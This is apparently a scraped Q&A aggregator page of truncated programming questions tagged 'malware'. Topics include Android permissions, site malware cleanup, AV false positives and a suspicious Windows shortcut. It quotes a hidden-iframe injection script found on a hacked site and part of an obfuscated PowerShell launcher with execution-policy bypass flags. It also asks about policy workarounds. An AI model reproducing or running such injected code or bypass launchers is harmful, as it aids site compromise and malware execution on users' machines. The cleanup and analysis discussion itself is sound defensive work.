malware

What kind of Android application will require android.permission.READ_PHONE_STATE permission?

霸气de小男生 提交于 2019-12-21 03:13:23
问题 I have seen some Android apps on my phone require this android.permission.READ_PHONE_STATE permission. I don't know if I could trust them. I know this permission will give the app access to many information. I'm particularly interested in what functionality in an Android app normally require the information like DeviceId , SimSerialNumber , SubscriberId ? 回答1: Phone state provides access to a lot of information about the phone. Usual usages will be for reading the IMEI of your phone and your

Disable JShell history

别来无恙 提交于 2019-12-14 03:45:39
问题 JShell by default enables a persistent history of everything typed, which can be recalled by pressing the up arrow. Where is the setting to turn this ❝feature❞ off? Also, how do I even clear the current history? Maybe I'm dumb but I can't figure out the command. /reset seems to do nothing. 回答1: Also, how do I even clear the current history? What I'm proposing is clearly a hack but it seems to be working, at least in Windows 10 with JDK11.0.4: Run Registry Editor and search for the ' /J/Shell

Ad couponDropDown

不羁岁月 提交于 2019-12-14 03:26:22
问题 I've got a problem concerning famous on-site ads malware, specifically Ad couponDropDown. I'm aware that usually these ads are created via malware on computer, or as browser Add-on. However, my hard drive and my firefox, both are clean, but ads is still shown on particular website that I created a long time ago. It is inserted between two divs as html tag with random generating class. Site is running on wordpress with iThemes security (formerly better security) - with latest update and none

Cleaning up iframe malware

大兔子大兔子 提交于 2019-12-13 17:25:08
问题 I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it. The strings are: <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> <script>document.write('

What is this file in .htaccess?

江枫思渺然 提交于 2019-12-12 16:26:39
问题 I am realy wonder why in .htaccess has those code bellow, can tell me what is this code? <Files 403.shtml> order allow, deny allow from all </Files> deny from 212.92.53.18 回答1: UPDATE : This answer was based on speculation using the facts provided when it was originally posted. The overall consensus seems to be this modification of the .htaccess file is most likely the result of using server management software such as CPanel so it’s not—on its own—an indication of malware infection. The

scan uploaded file for virus in user's machine using php

蹲街弑〆低调 提交于 2019-12-12 01:22:49
问题 Is there any way to scan the file uploaded by user in their machine using PHP? I am creating a website using PHP, where I give users the privilege to upload files of any format. Now I want to scan the files uploaded by the users for any virus or malware. Also I want to scan it before placing it in the server. Is there any Online sites available to scan those files? Or give me any other best way to achieve this. I am using Xampp (phpmyadmin) in Windows. Any Suggestion? 回答1: There is a useful

PowerShell: Execution policy workarounds to run a script

一世执手 提交于 2019-12-11 16:04:26
问题 Is there a workaround for execution policies? PS C:\Users\thufir\Desktop> PS C:\Users\thufir\Desktop> .\stock.ps1 .\stock.ps1 : File C:\Users\thufir\Desktop\stock.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170. At line:1 char:1 + .\stock.ps1 + ~~~~~~~~~~~ + CategoryInfo : SecurityError: (:) [], PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess PS C:

XML Parser triggers AV Alert

为君一笑 提交于 2019-12-11 07:03:01
问题 I am developing an Android app which reads current currency exchange rates from an online XML file and parses it via w3c DOM. The file is located on my AWS S3 storage. The parser works fine and I get all rates as I want them but my Anti-Virus app ( avast! ) keeps flagging my app as Malware ( Android:Agent-YI[Trj] ). When I comment the code out and the method I use just returns true the AV keeps quiet and thus I narrowed it down to the code below. Does somebody know why the AV doesn't accept

regex question for removal of javascript malware

一个人想着一个人 提交于 2019-12-11 03:39:19
问题 Been hit with some nasty javascript malware on my site. I know that each offending code block starts with the following: <script language=javascript><!-- (function() and ends with </script> I'd like to remove the nasty bits via regex on windows, using some sort of freeware regex replacement tool. Any suggestions here? Thank You much. 回答1: You might want to try UltraEdit, it has a built-in regular expression search/replace that works well. Also I believe the demo works for 30 days. If you just

Malware Using .Lnk file to Powershell

我的梦境 提交于 2019-12-11 01:53:49
问题 I downloaded a file which I almost didn't think twice over, but the target (of the shortcut) caught my eye: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code] There's no doubt that something fishy is going on here. I understand the first three parameters, but what I couldn't quite figure out is how code of a payload like this would work in just a